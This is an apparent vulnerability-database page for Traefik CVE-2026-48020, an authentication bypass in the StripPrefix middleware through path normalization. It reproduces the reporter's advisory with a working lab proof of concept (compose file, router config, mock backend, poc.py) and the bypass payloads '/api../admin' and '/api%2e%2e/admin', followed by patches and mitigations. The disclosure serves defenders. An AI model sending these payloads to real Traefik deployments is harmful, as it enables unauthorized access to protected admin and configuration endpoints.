Skip to main content

Traefik CVE-2026-48020

HIGH
Authentication Bypass Using an Alternate Path or Channel (CWE-288)
2026-06-11 https://github.com/traefik/traefik GHSA-xf64-8mw2-4gr2
Share

Severity by source

vuln.today AI
10.0 CRITICAL

Network-reachable, no auth or user interaction, low complexity; bypass crosses Traefik's authorization scope into a separately-protected backend (S:C); high C/I impact via admin endpoints, no direct availability impact.

3.1 AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N

Lifecycle Timeline

2
Source Code Evidence Fetched
Jun 11, 2026 - 13:53 vuln.today
Analysis Generated
Jun 11, 2026 - 13:53 vuln.today

DescriptionCVE.org

Summary

There is a high severity vulnerability in Traefik's StripPrefix middleware that allows an unauthenticated attacker to bypass route-level authentication and authorization. When a public router matches on a PathPrefix rule and applies the StripPrefix middleware, a request path containing .. or its percent-encoded form %2e%2e can match the public route at routing time and then, after the prefix is stripped and the path is normalized, resolve to a path served by a separate, authenticated router. As a result, an attacker can reach protected backend paths - such as admin or internal configuration endpoints - without satisfying the authentication middleware attached to the protected router.

Patches

  • https://github.com/traefik/traefik/releases/tag/v2.11.48
  • https://github.com/traefik/traefik/releases/tag/v3.6.19
  • https://github.com/traefik/traefik/releases/tag/v3.7.3

For more information

If there are any questions or comments about this advisory, please open an issue.

<details> <summary>Original Description</summary>

Traefik StripPrefix Route-Level Auth Bypass via Path Normalization (/api../)

Summary

A route-level authentication/authorization bypas was found in Traefik when PathPrefix-based public routes are combined with StripPrefix.

A request using /api../ or /api%2e%2e/ can avoid protected router rules at the routing stage, but after StripPrefix, the path is normalized and forwarded to the backend as a protected path such as /admin or /internal/config.

This is reproducible on patched/latest Traefik versions and appears related to, but distinct from, previously disclosed StripPrefixRegex / path-normalization issues.

This report specifically affects StripPrefix.

Affected Versions Tested

ImageObserved VersionResult
traefik:v2.11v2.11.46Affected
traefik:v3.6v3.6.17Affected
traefik:latestv3.7.1Affected

Lab Contrast

ImageResult
traefik:v2.10Not reproduced in lab
traefik:v3.5Not reproduced in lab

Vulnerable Configuration Pattern

The issue appears when:

  • a broad public route strips a prefix
  • while a separate protected route is intended to guard internal/admin paths
yaml
http:
  routers:
    public-api:
      rule: 'PathPrefix(`/api`) && !PathPrefix(`/api/admin`) && !PathPrefix(`/api/internal`)'
      entryPoints:
        - web
      middlewares:
        - strip-api
      service: backend

    protected:
      rule: 'PathPrefix(`/admin`) || PathPrefix(`/internal`)'
      entryPoints:
        - web
      middlewares:
        - auth
      service: backend

  middlewares:
    strip-api:
      stripPrefix:
        prefixes:
          - /api

    auth:
      basicAuth:
        users:
          - 'test:$apr1$H6uskkkW$IgXLP6ewTrSuBkTrqE8wj/'

  services:
    backend:
      loadBalancer:
        servers:
          - url: http://backend:9000

Observed Behavior

Direct Protected Paths

These are correctly blocked.

RequestExpectedObserved
GET /adminBlocked401
GET /internal/configBlocked401

Expected Public Exclusions

These do not expose protected backend paths.

RequestExpectedObserved
GET /api/adminNot routed to protected backend path404
GET /api/internal/configNot routed to protected backend path404

Bypass Payloads

These reach protected backend paths.

RequestObserved StatusBackend Receives
GET /api../admin200/admin
GET /api%2e%2e/admin200/admin
GET /api../internal/config200/internal/config
GET /api%2e%2e/internal/config200/internal/config

Minimal PoC

docker-compose.yml

yaml
services:
  traefik:
    image: traefik:v3.7
    command:
      - --providers.file.filename=/etc/traefik/dynamic.yml
      - --entrypoints.web.address=:8080
      - --accesslog=true
    ports:
      - "127.0.0.1:18080:8080"
    volumes:
      - ./dynamic.yml:/etc/traefik/dynamic.yml:ro
    depends_on:
      - backend

  backend:
    image: python:3.12-slim
    working_dir: /app
    command: python backend.py
    volumes:
      - ./backend.py:/app/backend.py:ro
    expose:
      - "9000"

dynamic.yml

yaml
http:
  routers:
    public-api:
      rule: 'PathPrefix(`/api`) && !PathPrefix(`/api/admin`) && !PathPrefix(`/api/internal`)'
      entryPoints:
        - web
      middlewares:
        - strip-api
      service: backend

    protected:
      rule: 'PathPrefix(`/admin`) || PathPrefix(`/internal`)'
      entryPoints:
        - web
      middlewares:
        - auth
      service: backend

  middlewares:
    strip-api:
      stripPrefix:
        prefixes:
          - /api

    auth:
      basicAuth:
        users:
          - 'test:$apr1$H6uskkkW$IgXLP6ewTrSuBkTrqE8wj/'

  services:
    backend:
      loadBalancer:
        servers:
          - url: http://backend:9000

backend.py

python
from http.server import BaseHTTPRequestHandler, HTTPServer
import json

class Handler(BaseHTTPRequestHandler):
    def log_message(self, fmt, *args):
        return

    def _json(self, status, obj):
        body = json.dumps(obj).encode()
        self.send_response(status)
        self.send_header("Content-Type", "application/json")
        self.send_header("Content-Length", str(len(body)))
        self.end_headers()
        self.wfile.write(body)

    def do_GET(self):
        if self.path == "/admin":
            self._json(200, {
                "seen_path": self.path,
                "secret": "ADMIN_SECRET_REACHED"
            })
        elif self.path == "/internal/config":
            self._json(200, {
                "seen_path": self.path,
                "secret": "TRAEFIK_LAB_INTERNAL_CONFIG"
            })
        elif self.path == "/admin/exec":
            self._json(200, {
                "seen_path": self.path,
                "rce_chain_marker": True,
                "note": "protected execution endpoint reached"
            })
        else:
            self._json(404, {
                "seen_path": self.path,
                "secret": None
            })

HTTPServer(("0.0.0.0", 9000), Handler).serve_forever()

poc.py

python
#!/usr/bin/env python3
from urllib.request import Request, urlopen
from urllib.error import HTTPError

BASE = "http://127.0.0.1:18080"

PATHS = [
    "/admin",
    "/internal/config",
    "/api/admin",
    "/api/internal/config",
    "/api../admin",
    "/api%2e%2e/admin",
    "/api../internal/config",
    "/api%2e%2e/internal/config",
    "/admin/exec",
    "/api/admin/exec",
    "/api../admin/exec",
    "/api%2e%2e/admin/exec",
]

for path in PATHS:
    req = Request(BASE + path)
    try:
        with urlopen(req, timeout=5) as r:
            status = r.status
            body = r.read().decode(errors="replace")
    except HTTPError as e:
        status = e.code
        body = e.read().decode(errors="replace")

    print(f"{path:28} {status} {body[:180]}")

Run

bash
docker compose up -d
python3 poc.py

Expected Vulnerable Output

text
/admin                       401
/internal/config             401
/api/admin                   404
/api/internal/config         404
/api../admin                 200  backend seen_path=/admin
/api%2e%2e/admin             200  backend seen_path=/admin
/api../internal/config       200  backend seen_path=/internal/config
/api%2e%2e/internal/config   200  backend seen_path=/internal/config
/api../admin/exec            200  protected execution endpoint reached
/api%2e%2e/admin/exec        200  protected execution endpoint reached

Root Cause Hypothesis

The vulnerable behavior appears to be caused by path normalization after prefix stripping.

text
Incoming path:              /api../admin
After StripPrefix("/api"):  /../admin
After JoinPath():           /admin

The request does not match the protected /admin router at the routing stage, but the backend receives /admin after normalization.

The relevant behavior appears related to StripPrefix calling req.URL.JoinPath() after removing the prefix in newer versions.

Security Impact

An unauthenticated network attacker can bypass intended Traefik route-level authentication/authorization boundaries and access backend paths that the operator intended to protect with a separate protected router.

Potential impact includes:

  • Access to protected admin paths
  • Access to internal configuration endpoints
  • Exposure of secrets returned by internal backends
  • Access to protected backend management functionality
  • Conditional RCE if the protected backend exposes an execution primitive

In the local lab, a protected /admin/exec endpoint was reachable through /api../admin/exec, demonstrating a conditional RCE chain when the backend contains an execution primitive.

This is not a standalone Traefik RCE claim. It is an authentication/authorization boundary bypass that can expose protected backend functionality.

Suggested Severity

Suggested CVSS is 10.0 Critical with Scope Changed, because the bypass crosses the Traefik route-level authorization boundary and exposes protected backend functionality.

text
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N

Scope Changed was selected because the request bypasses Traefik's route-level authorization boundary and reaches backend paths that are intended to be protected by a separate authenticated router.

If the vendor treats Traefik and the backend as the same security scope, the score may be interpreted as 9.1 Critical with Scope Unchanged:

text
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

The issue was submitted with the stronger Scope Changed interpretation, but the maintainers may adjust the final CVSS score during triage.

Weakness

Primary CWE:

  • CWE-863: Incorrect Authorization

Related weakness candidates:

  • CWE-180: Incorrect Behavior Order: Validate Before Canonicalize
  • CWE-22: Improper Limitation of a Pathname to a Restricted Directory

Mitigation Verified in Lab

The bypass was blocked when using a stricter prefix boundary:

text
PathRegexp(`^/api(/|$)`)

or:

text
PathPrefix(`/api/`) with StripPrefix(`/api/`)

Relation to Existing Advisories

This appears related to the same vulnerability family as prior Traefik path normalization / StripPrefixRegex bypass advisories, but it affects StripPrefix and remains reproducible on patched/latest versions tested above.

This was reported as a possible incomplete fix or bypass variant rather than assuming it is a duplicate.

Reporter

WonYun / kyun0

</details>

AnalysisAI

Route-level authentication bypass in Traefik's StripPrefix middleware allows unauthenticated remote attackers to reach protected backend paths by smuggling path traversal sequences (.. or %2e%2e) through public PathPrefix routes. …

Unlock full vulnerability intelligence

  • Risk assessment & exploitation conditions
  • Attack chain visualization
  • Remediation with exact patch versions
  • Threat intelligence from 22 sources
  • Personal watchlist & email alerts

Free forever · No credit card required

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
Identify Traefik with PathPrefix+StripPrefix config
Delivery
Craft `/api../admin` or `/api%2e%2e/admin` request
Exploit
Match unauthenticated public router
Execution
StripPrefix and JoinPath normalize to `/admin`
Persist
Backend serves protected endpoint without auth
Impact
Exfiltrate secrets or invoke admin/exec primitive

Vulnerability AssessmentAI

Exploitation Exploitation requires a specific Traefik configuration: a public router whose rule uses `PathPrefix` (without a trailing slash boundary) and applies the `StripPrefix` middleware, AND a separate router that protects overlapping backend paths (e.g., `/admin`, `/internal`) via authentication middleware on the same backend service. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment Risk is high but conditional on configuration. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker on the internet sends `GET /api../admin` (or the percent-encoded `/api%2e%2e/admin`) to a Traefik instance fronting an application that uses the vulnerable PathPrefix+StripPrefix pattern. Traefik matches the public, unauthenticated `/api` router, strips the prefix, then `JoinPath()` normalizes the result to `/admin`, which is proxied to the backend - completely skipping the basicAuth or forward-auth middleware bound to the protected router. …
Remediation Vendor-released patches are available: upgrade to Traefik v2.11.48, v3.6.19, or v3.7.3 (release notes at https://github.com/traefik/traefik/releases/tag/v2.11.48, /v3.6.19, /v3.7.3), which add a check to reject requests whose path differs after StripPrefix/StripPrefixRegex normalization (PR #13215). … Detailed patch versions, workarounds, and compensating controls in full report.

Recommended ActionAI

24 hours: Conduct immediate inventory of all Traefik deployments, identify affected versions (v2.11.x, v3.6.x, v3.7.x), and audit StripPrefix middleware configurations for exposed protected routes; activate real-time monitoring for path traversal exploitation attempts. …

Sign in for detailed remediation steps and compensating controls.

Threat intelligence, references, and detailed analysis are available after sign-in.

Share

CVE-2026-48020 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy